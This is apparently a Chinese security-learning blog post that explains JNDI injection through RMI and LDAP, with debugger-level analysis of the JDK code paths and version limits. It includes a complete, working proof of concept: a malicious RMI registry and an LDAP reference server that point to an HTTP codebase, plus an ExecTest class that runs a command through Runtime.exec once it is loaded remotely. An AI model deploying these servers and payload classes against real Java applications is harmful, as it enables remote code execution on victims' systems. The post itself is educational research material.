为了学fastjson也是煞费苦心,害。感觉参考中文章讲的很容易去理解,文章大部分都参考它的。如果文章大部分很难理解就先看看RMI反序列化的文章
JNDIJava命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。
代码格式如下
String jndiName= ...;//指定需要查找name名称 Context context = new InitialContext();//初始化默认环境 DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据
这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。
例如:RMI格式如下:
InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");JNDI注入
JNDI注入就是当上文代码中jndiName这个变量可控,会导致远程加载攻击者的恶意class文件。导致远程代码执行。
JNDI_RMI注入先试用POC进行验证
服务端(攻击者部署)代码如下
package com.darkerbox.jndi; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class server { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8089/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'"); registry.bind("aa", refObjWrapper); } }
小知识:
为什么要new ReferenceWrapper(aa),是因为Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,需要将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。
摘自:https://www.cnblogs.com/nice0e3/p/13958047.html#initialcontext%E7%B1%BB
客户端(受害者)代码如下
package com.darkerbox.jndi; import javax.naming.Context; import javax.naming.InitialContext; public class client { public static void main(String[] args) throws Exception { String uri = "rmi://127.0.0.1:1099/aa"; Context ctx = new InitialContext(); ctx.lookup(uri); } }
ExecTest.java(攻击者部署)
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.Reader; import javax.print.attribute.standard.PrinterMessageFromOperator; public class ExecTest { public ExecTest() throws IOException,InterruptedException{ String cmd="whoami"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage(final InputStream input) { // TODO Auto-generated method stub new Thread (new Runnable() { @Override public void run() { // TODO Auto-generated method stub Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null; try { while ((line=bf.readLine())!=null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); } }
编译ExecTest为class文件
javac ExecTest.java python3 -m http.server 8089
需要注意的点
把ExecTest.java及其编译的文件放到其他目录下,不然会在当前目录中直接找到这个类。不起web服务也会命令执行成功。
ExecTest.java文件不能申明包名,即package xxx。声明后编译的class文件函数名称会加上包名从而不匹配。
java版本小于1.8u191。之后版本存在trustCodebaseURL的限制,只信任已有的codebase地址,不再能够从指定codebase中下载字节码。后面会提到。
然后先运行服务端,
再运行客户端。
可以看到客户端成功的访问了恶意类文件并执行。
JNDI_RMI分析在客户端代码的ctx.lookup(uri);行设置断点。开启调试。跟踪lookup方法
getURLOrDefaultInitCtx(name)通过name获取到协议头,返回Context对象的子类rmiURLContext对象。然后调用rmiURLContext的lookup方法。跟进该方法。
91行获取RMI注册中心相关数据(var2)
92行获取到了注册中心对象(var3)。
96行去注册中心对象(var3)调用lookup查找,传入了参数aa。
跟进lookup方法
var1就是刚刚传入过来的对象。这里会进入else分支,93行代码即RMI客户端与注册中心通讯,返回RMI服务IP,地址等信息。
跟进decodeObject方法。
跟进后代码如下(后面的限制章节会看到高版本的jdk下的decodeObject,记住这个旧版的decodeObject方法。)
private Object decodeObject(Remote var1, Name var2) throws NamingException { try { // 这里就是重点了,我们此时看一下服务端的代码,会发现我们绑定的是Reference对象。 // 这里会判断var1是否是Reference对象,如果是会调用var1.getReference方法。该方法会与RMI服务器进行一次连接,获取到远程class文件地址。 //如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。 Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; // 跟进getObjectInstance方法。 return NamingManager.getObjectInstance(var3, var2, this, this.environment); } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException(); var4.setRootCause(var7); throw var4; } }
跟进getObjectInstance方法。
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable,?> environment) throws Exception { // 省略... Reference ref = null; // 如果refInfo是Reference对象,则赋值给ref。 if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer; // 此时ref不为Null。 if (ref != null) { // 获取到函数名 ExecTest String f = ref.getFactoryClassName(); if (f != null) { //任意命令执行点1(构造函数、静态代码),跟进getObjectFactoryFromReference factory = getObjectFactoryFromReference(ref, f); if (factory != null) { //任意命令执行点2(覆写getObjectInstance), return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo; } else { answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null) { return answer; } } } answer = createObjectFromFactories(refInfo, name, nameCtx, environment); return (answer != null) ? answer : refInfo; }
跟进getObjectFactoryFromReference方法
static ObjectFactory getObjectFactoryFromReference( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class> clas = null; // 当前classLoader加载类文件 try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { // ignore and continue // e.printStackTrace(); } // 如果类找不到,使用codebase再次尝试 String codebase; // 此处codebase是我们在恶意RMI服务端中定义的http://127.0.0.1:8089/ if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) { try { //从我们放置恶意class文件的web服务器中获取class文件 clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } // 实例化恶意类class文件。 return (clas != null) ? (ObjectFactory) clas.newInstance() : null; }
实例化会调用构造方法和静态代码块。上面就是调用了构造方法完成代码执行。
但是可以注意到之前执行任意命令成功,但是报错退出了,因为在实例化恶意类的时候(ObjectFactory) clas.newInstance(),强转为ObjectFactory所以报错退出了,
所以我们只要实现这个ObjectFactory接口就好了。之后会在任意命令执行点2调用getObjectInstance方法。所以我们将恶意代码写到getObjectInstance即可
修改ExecTest.java文件
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.Reader; import javax.print.attribute.standard.PrinterMessageFromOperator; public class ExecTest implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) { try{ String cmd="whoami"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); }catch(Exception e){ } return null; } public ExecTest() { try{ String cmd="whoami"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); }catch(Exception e){ } } private static void printMessage(final InputStream input) { // TODO Auto-generated method stub new Thread (new Runnable() { @Override public void run() { // TODO Auto-generated method stub Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null; try { while ((line=bf.readLine())!=null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); } }
发现成功执行了两次,说明构造方法和getObjectInstance方法都成功执行且无报错。
之所以JNDI注入会配合LDAP是因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制。之后细说。
这里主要贴一下LDAP的服务端代码。客户端只需要改为ldap://即可。
需要添加依赖
com.unboundid unboundid-ldapsdk3.1.1
package com.darkerbox.jndi; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; public class LDAPServer { private static final String LDAP_base = "dc=example,dc=com"; public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1:8089/#ExecTest"}; int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_base); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getbaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodebase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
其他的 *** 作都和RMI相同了。
限制JDNI注入加载动态类原理是通过JNDI Reference远程加载Object Factory类,(使用的不是RMI Class Loading,而是URLClassLoader)。
所以JNDI_RMI不受RMI动态加载恶意类的系统属性的限制。具有更多的利用空间
RMI动态加载恶意类限制:
java版本应低于7u21、6u45,或者需要设置java.rmi.server.useCodebaseonly=false
虽然不受该限制,但是JNDI_RMI在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。
JNDI_RMI限制的细节如下:
高版本的jdk中decodeObject方法如下
private Object decodeObject(Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; Reference var8 = null; if (var3 instanceof Reference) { var8 = (Reference)var3; } else if (var3 instanceof Referenceable) { var8 = ((Referenceable)((Referenceable)var3)).getReference(); } // 高版本的JDK在这里多了一个if判断。当判断为false,才会进入getObjectInstance方法。 // var8即我们在服务端定义的Reference。如果成功获取到,则不会null。 // getFactoryClassLocation会返回需要去远程加载类的路径,即http://127.0.0.1:8089/ // trustURLCodebase常为false,则!trustURLCodebase常为true // 所以高版本下JDK不能利用的主要原因是添加了trustURLCodebase限制,虽然!trustURLCodebase常为true,但是var8.getFactoryClassLocation()会成功获取到http://127.0.0.1:8089/,则为true,则进入if判断,抛出异常。 // 我们只要在服务端代码new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8089/");中将http://127.0.0.1:8089/修改为null,即可使判断为false。进入else。但如果这样做。也就导致无法远程加载恶意类文件。 if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'."); } else { return NamingManager.getObjectInstance(var3, var2, this, this.environment); } } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException(); var4.setRootCause(var7); throw var4; } }
但是除了RMI,还可以使用LDAP。
LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。
但是在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,
在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。
如何绕过高版本限制就另起一文了
参考文章https://xz.aliyun.com/t/6633#toc-0
https://www.cnblogs.com/nice0e3/p/13958047.html#jndi%E6%B3%A8%E5%85%A5ldap%E5%AE%9E%E7%8E%B0%E6%94%BB%E5%87%BB
https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)